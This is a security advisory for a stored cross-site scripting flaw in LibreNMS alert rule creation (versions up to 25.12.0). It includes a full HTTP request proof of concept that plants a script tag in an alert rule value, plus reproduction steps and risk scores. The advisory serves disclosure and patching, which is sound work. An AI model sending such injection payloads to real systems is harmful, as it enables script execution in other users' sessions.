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GHSA-6xmx-xr9p-58p7

MediumCVSS 4.3 / 10
Published Feb 18, 2026·Last modified Feb 20, 2026
Affected Components(0)

No affected components available

Description

Summary

A stored Cross-Site Scripting (XSS) vulnerability exists in LibreNMS (<= 25.12.0) in the creation of Alert Rules. This allows a user with the admin role to inject malicious JavaScript, which will be executed when the alert rules page is viewed.

Details

The stored JavaScript is displayed at line 63 of inlcudes/html/modal/alert_rule_list.inc.php.

<td><i>" . e($rule_display) . "</i></td>

PoC

Request PoC:

POST /alert-rule HTTP/1.1
Host: 192.168.236.131
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-CSRF-TOKEN: FaBY9sq0bzXpc3mlsvyRdvg0PLInwBXPnEhHNrZF
X-Requested-With: XMLHttpRequest
Content-Length: 718
Origin: http://192.168.236.131
Connection: keep-alive
Referer: http://192.168.236.131/device/device=1/tab=edit/section=alert-rules
Cookie: XSRF-TOKEN=eyJpdiI6ImhpdDNwV29nZE1lYzc0NGxyK2dGK2c9PSIsInZhbHVlIjoiUkpXUUlMYTZwT2VaZmNPZExKcHNLQWxwOFVjaGM3Z2hzNVBSa2thTEluSDdBL3Q0amVURGp1Q0tjYm15akw1QmJacDRqY3Y1eTNzS3l1VSsvcjVUaTRIalBKQzVpUlRySktLTHlnTHQxa29NNzlxaXMxQzdsalpUeDNaWTRKSjkiLCJtYWMiOiIwZGQ4ZmEzZmFmZTJkOGIyZWIxOGVhZjE0MTU4ZWI5ZjFlYTI0Y2NkNjcwYTU2Y2JkMTM5MDAxZDg1YWIzY2M5IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImVWbzBKRU9IaURzOUJ6OVNjREVGbFE9PSIsInZhbHVlIjoiRlJPckhRRG4yZjFiUjdGMlZTUXlhNXArT0pMcUdQY3RaV1EvRWJZdGNWUFUzYjhVaWxLS1hFclpacmFHOGQyNllFaGF1ckRYQWZKNHdzNEQ5RHFmdzh3WEY3UFZvdGlqc3RQVUc2Mk1QYTZ0c045YWt0TG0rS2ttU0ZpV3NQMXkiLCJtYWMiOiI1YWM1OWM5MGMwOTcyNDk2OTU1NTBlY2ExZjQ4M2M1YmQ3ZWFlNzQ5NDVmZTgxOTEyMjNkNjJhM2EzZjY1OWE5IiwidGFnIjoiIn0%3D
Priority: u=0

_token=FaBY9sq0bzXpc3mlsvyRdvg0PLInwBXPnEhHNrZF&device_id=1&device_name=127.0.0.1&rule_id=&builder_json=%7B%22condition%22%3A%22AND%22%2C%22rules%22%3A%5B%7B%22id%22%3A%22access_points.accesspoint_id%22%2C%22field%22%3A%22access_points.accesspoint_id%22%2C%22type%22%3A%22string%22%2C%22input%22%3A%22text%22%2C%22operator%22%3A%22equal%22%2C%22value%22%3A%22%3Cscript%3Ealert(%5C%22xss%5C%22)%3C%2Fscript%3E%22%7D%5D%2C%22valid%22%3Atrue%7D&name=Test+rule&builder_rule_0_filter=access_points.accesspoint_id&builder_rule_0_operator=equal&builder_rule_0_value_0=%3Cscript%3Ealert(%22xss%22)%3C%2Fscript%3E&severity=warning&count=1&delay=1m&interval=5m&recovery=on&acknowledgement=on&maps%5B%5D=1&proc=&notes=&adv_query=

Steps to reproduce:

  1. Create and save an alert rule within a device with the following values:

    <img width="893" height="325" alt="image" src="https://github.com/user-attachments/assets/33bdb9a6-7c6c-4fd4-9e8e-b845cf9600ea" />

  2. Injected JavaScript is executed:

    <img width="1104" height="565" alt="image" src="https://github.com/user-attachments/assets/3d45c686-72e4-458a-93f6-e7fb749b966b" />

Impact

Type: Stored Cross-Site Scripting (XSS) Affected users: Only accounts with the admin role which can edit a device's alert rules are affected. Attackers need: Authenticated admin-level access.

Risk Scores
Base Score
4.3

The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker needs high-level or administrative privileges. The attacker needs the user to perform some action, like clicking a link. The impact is confined to the system where the vulnerability exists. There is a low impact on the confidentiality of the information. There is a low impact on the integrity of the data. There is a low impact on the availability of the system.

Threat Intelligence
4.0

Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.

EPSS
0.24%

The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.

Exploit
Not available

We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.

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